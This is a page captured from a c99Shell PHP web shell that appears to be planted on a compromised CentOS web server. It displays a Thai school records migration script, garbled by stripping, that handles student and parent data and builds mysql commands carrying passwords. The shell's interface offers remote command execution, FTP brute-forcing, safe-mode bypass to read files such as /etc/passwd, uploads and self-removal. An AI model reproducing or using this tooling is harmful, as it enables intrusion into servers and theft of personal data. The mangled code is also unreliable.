!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/xmigratex/   drwxr-xr-x
Free 52.24 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     migrate.php (18.53 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |


$source_s";
    die(' ไม่สามารถเชื่อมต่อฐานข้อมูลได้ ตรวจสอบชื่อ server, user และpassword ให้ถูกต้อง: ' . mysql_error());
    echo "";
}else{
	//echo "Connected $source_s successfully
"; } $ln_reg = mysql_connect($localhost_s, $localhost_u, $localhost_p, true); if (!$ln_reg) { echo "$source_s"; die(' ไม่สามารถเชื่อมต่อฐานข้อมูลได้ ตรวจสอบชื่อ server, user และpassword ให้ถูกต้อง: ' . mysql_error()); echo ""; }else{ //echo "Connected $source_s successfully
"; } $ln_mo = mysql_connect($localhost_s, $localhost_u, $localhost_p, true); if (!$ln_mo) { echo "$local_s"; die(' ไม่สามารถเชื่อมต่อฐานข้อมูลได้ ตรวจสอบชื่อ server, user และpassword ให้ถูกต้อง: ' . mysql_error()); echo ""; }else{ //echo "Connected $local_s successfully
"; } // -------------- select DB $db_info = mysql_select_db('information_schema', $ln_info); //mysql_query("SET NAMES 'utf8'", $ln_info); if (!$db_info) { die ('ไม่สามารถเชื่อมต่อฐานข้อมูล information_schema ได้: ' . mysql_error()); }else{ //echo 'db_information_schema successfully
'; } $db_reg = mysql_select_db($oDB, $ln_reg); mysql_query("SET NAMES 'utf8'", $ln_reg); if (!$db_reg) { die ("ไม่สามารถเชื่อมต่อฐานข้อมูล $oDB ได้ โปรดตรวจสอบชื่อฐานข้อมูลอีกครั้ง : " . mysql_error()); }else{ echo "เชื่อมต่อฐานข้อมูล $oDB สำเร็จ
"; } $db_mo = mysql_select_db($moDB, $ln_mo); mysql_query("SET NAMES utf8", $ln_mo); mysql_query("SET collation_connection = 'utf8_general_ci' ", $ln_mo); if (!$db_mo) { die ("ไม่สามารถเชื่อมต่อฐานข้อมูล $moDB ได้ โปรดตรวจสอบชื่อฐานข้อมูลอีกครั้ง: " . mysql_error()); }else{ echo "เชื่อมต่อ $moDB สำเร็จ

"; } // --------------end select DB if($dbNo==2) { $ad = "$path_mysql -h '$localhost_s' -u '$localhost_u' -p'$localhost_p' -e 'DROP TABLE $dbmoreg.`rg_RealStudentAd` ; CREATE TABLE $dbmoreg.`rg_RealStudentAd` AS SELECT * FROM $dbreg.`rg_RealStudentAd`; '"; $last_line = system($ad, $retval); if($retval){ echo "ย้ายข้อมูล `rg_RealStudentAd` เกิดข้อผิดพลาด"; echo $retval.'
sql : '.$ad; echo "

"; } $de = "$path_mysql -h '$localhost_s' -u '$localhost_u' -p'$localhost_p' -e 'DROP TABLE $dbmoreg.`rg_RealStudentDe` ; CREATE TABLE $dbmoreg.`rg_RealStudentDe` AS SELECT * FROM $dbreg.`rg_RealStudentDe`; '"; $last_line = system($de, $retval); if($retval){ echo "ย้ายข้อมูล `rg_RealStudentDe` เกิดข้อผิดพลาด"; echo $retval.'
sql : '.$de; echo "

"; } unset($ad); unset($de); // -- ตัดเว้นวรรคในชื่อ ที่เกิน 1 ช่อง $mo_name = "UPDATE $dbreg.`StudentBio` SET parentName = REPLACE(REPLACE(REPLACE(parentName ,'นาย','นาย '),'นาง','นาง '),'นางสาว','นางสาว ') ,parentName = REPLACE(REPLACE(REPLACE(parentName ,SPACE(4),SPACE(1)) ,SPACE(3),SPACE(1)),SPACE(2),SPACE(1)) ,parentName = TRIM(parentName) ,fatherName = REPLACE(REPLACE(REPLACE(fatherName ,SPACE(4),SPACE(1)) ,SPACE(3),SPACE(1)),SPACE(2),SPACE(1)) ,fatherName = REPLACE(REPLACE(REPLACE(fatherName ,'นาย ','นาย'),'นาง ','นาง'),'นางสาว ','นางสาว') ,fatherName = TRIM(fatherName) ,motherName = REPLACE(REPLACE(REPLACE(motherName ,SPACE(4),SPACE(1)) ,SPACE(3),SPACE(1)),SPACE(2),SPACE(1)) ,motherName = REPLACE(REPLACE(REPLACE(motherName ,'นาย ','นาย'),'นาง ','นาง'),'นางสาว ','นางสาว') ,motherName = TRIM(motherName)"; $rs = mysql_query($mo_name, $ln_reg); if (!$rs) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $import_query; die($message); } } //echo '+++++++++++++++++++++++++++++++++++++

'; $sizeoftb = sizeof($sm); echo $sizeoftb.'ตาราง
'; $records = 0; $affected_records = 0; ?> "; } if( $minus != 0 ){ $Fld_diff .= " - $minus"; //$rt = findIndex($sm[$tb_num]['new']['fld'], '-'); } ?> '; $result = mysql_query($query, $ln_reg); $num_row = mysql_num_rows($result); $message = ""; $affected = 0; if ($num_row==0) { // $message = 'Invalid query: ' . mysql_error() . "\n"; // $message = 'Whole query: ' . $query; // echo ""; $num_row=0; // die($message); $num=1; }else{ // Insert to $nFld_name = ""; $oFld_name = ""; $fld_num = 0; for($nfld=0; $nfld".$import_query."
"; }else{ $num=1; while ($row = mysql_fetch_assoc($result)) { $getdata=true; // เงื่อนไขเฉพาะ ไม่เอาแถวนี้ ถ้า StudentMaster.officerId1 = NULL if($motb_name == 'rg_Adviser'){ // sm.officerId1 = NULL if($row['officerId1'] == ''){ $getdata=false; } } if($getdata){ //if($otb_name == 'ProgramConfig') echo $row['programConfId'].'
'; // อาจเพิ่ม TRUNCATE TABLE $motb_name ลบข้อมูลของตาราง โดยไม่ลบโครงสร้าง if($num==1){ $import_query = 'INSERT INTO `'.$motb_name.'` ('.$nFld_name.') VALUES '; //}elseif($num==100){ // $import_query.= '; INSERT INTO `'.$motb_name.'` ('.$nFld_name.') VALUES '; // $num=2; }else{ $import_query .= ','; } $import_query .= '('; $fld_num = 0; for($i=0;$i
"; } // ฟิลด์ใหม่อ้างอิงจากไหน $fld_name_pk = $sm[$tb_num]['old']['fld'][0]; $ref = $sm[$tb_num]['ref']['fld'][$i]; if($ref != '-'){ list($ref_tb,$ref_pk,$ref_fld) = preg_split("[-]",$ref); if($ref_tb!=$otb_name){ $qref = "SELECT $ref_fld FROM `$otb_name` JOIN `$ref_tb` ON $otb_name.$ref_pk = $ref_tb.$ref_pk WHERE $otb_name.$ref_pk = $row[$ref_pk] ;"; }else{ $qref = "SELECT $ref_fld FROM `$ref_tb` WHERE $ref_pk = $row[$fld_name_pk] ;"; } //echo "
"; $rsRef = mysql_query($qref, $ln_reg); if(mysql_num_rows($rsRef)>0){ $rref = mysql_fetch_assoc($rsRef); if($rref[$ref_fld]!='') { //if($fld_name=='fatherName') //{ echo $rref[$ref_fld]." :$otb_name.$fld_name:$def_cond

"; } // ค่าที่ได้จากการอ้างอิงมีค่ามา if($def_cond!='-'){ //ตัดนามสกุล ใน studentBio $import_query .= special_field($row,$ln_reg, $def_cond,$rref[$ref_fld]); }else{ $data = (is_null($rref[$ref_fld]))?'NULL':$rref[$ref_fld]; $import_query .= "'".addslashes($data)."'"; //$import_query .= "'".addslashes($rref[$ref_fld])."'"; } }elseif($def_cond!='-'){ $import_query .= special_field($row,$ln_reg, $def_cond); }else{ $import_query .= "''"; } }else{ //echo " fld_name :$fld_name ,ref : $ref ,def_cond : $def_cond
"; $rref=($fld_name!='-')?$row[$fld_name]:''; if($def_cond!='-'){ $import_query .= special_field($row,$ln_reg, $def_cond,$rref); }else{ $import_query .= "''"; } } //echo "$def_p ,".addslashes($row[$def_fld]).'
'; //} }else{ // หาค่า default $rref=($fld_name!='-')?$row[$fld_name]:''; if($def_cond!='-'){ //echo " fld_name :$fld_name ,ref : $ref ,def_cond : $def_cond
"; $import_query .= special_field($row,$ln_reg, $def_cond,$rref); // if($def_cond=='default/1/'){ echo $import_query.'
';} }else{ //$import_query .= "''"; // ฟิลด์ใหม่ ข้อมูลเดิม $data = (is_null($row[$fld_name]))?'NULL':"'".addslashes($row[$fld_name])."'"; $import_query .= $data; } } if( $fld_num < $moFld_numA ) $import_query .= ', '; } }//END for $import_query .= ')'; $num++; } // getdata } //while } //else isset sql //echo $import_query.'

'; // Insert คำสั่งลงตาราง //if($num_row>1){ $rs = mysql_query($import_query, $ln_mo); if (!$rs) { $message = 'Invalid query: ' . mysql_error() . "\n"; $message .= 'Whole query: ' . $import_query; die($message); }else{ $affected = mysql_affected_rows(); } } // end !$result } //$plus + $minus ?> "; echo ""; //echo ""; mysql_close($ln_info); mysql_close($ln_reg); mysql_close($ln_mo); set_time_limit(30); ?>
ฐานข้อมูล ฐานข้อมูล ฟิลด์ที่
เปลี่ยนแปลง
ชื่อตาราง จำนวนฟิลด์
ที่พบ
จำนวนฟิลด์ที่
คัดลอกข้อมูล
จำนวน
แถวข้อมูล
ตาราง
จำนวนฟิลด์
ที่พบ
จำนวนฟิลด์
ที่จัดเก็บข้อมูล
จำนวน
แถวข้อมูล
$message$ref_tb
- - - - -
".$records."".$affected_records."
เวลา : $tt

bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0056 ]--